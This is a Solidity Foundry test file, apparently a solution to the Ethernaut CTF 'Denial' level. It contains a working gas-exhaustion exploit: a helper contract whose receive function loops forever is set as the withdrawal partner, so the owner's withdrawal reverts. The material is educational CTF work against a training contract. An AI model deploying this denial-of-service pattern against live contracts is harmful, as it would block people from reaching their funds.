-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDenialExploit.t.sol
51 lines (44 loc) · 1.35 KB
/
DenialExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/EthernautCTF/Denial.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract Helper {
receive() external payable {
// Consume all the gas to deny the withdrawal of funds.
// This will trigger a MemoryOOG revert.
while (true) {}
}
}
contract DenialExploit is Test {
Denial target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
// Deploy the contract.
target = new Denial();
console.log('Target contract deployed');
// Fund the contract.
vm.deal(deployer, 100 ether);
(bool success, ) = address(target).call{value: 100 ether}('');
require(success);
vm.stopPrank();
}
function testExploit() public {
// Set up the DoS contract.
vm.startPrank(exploiter);
Helper helper = new Helper();
console.log('DoS contract deployed');
target.setWithdrawPartner(address(helper));
console.log('DoS contract set as a withdrawal partner');
vm.stopPrank();
// Attempt to withdraw funds.
vm.startPrank(deployer);
console.log('The owner tries to withdraw his funds');
vm.expectRevert();
target.withdraw{gas: 10 ** 6}();
console.log('The withdrawal attempt reverted');
vm.stopPrank();
}
}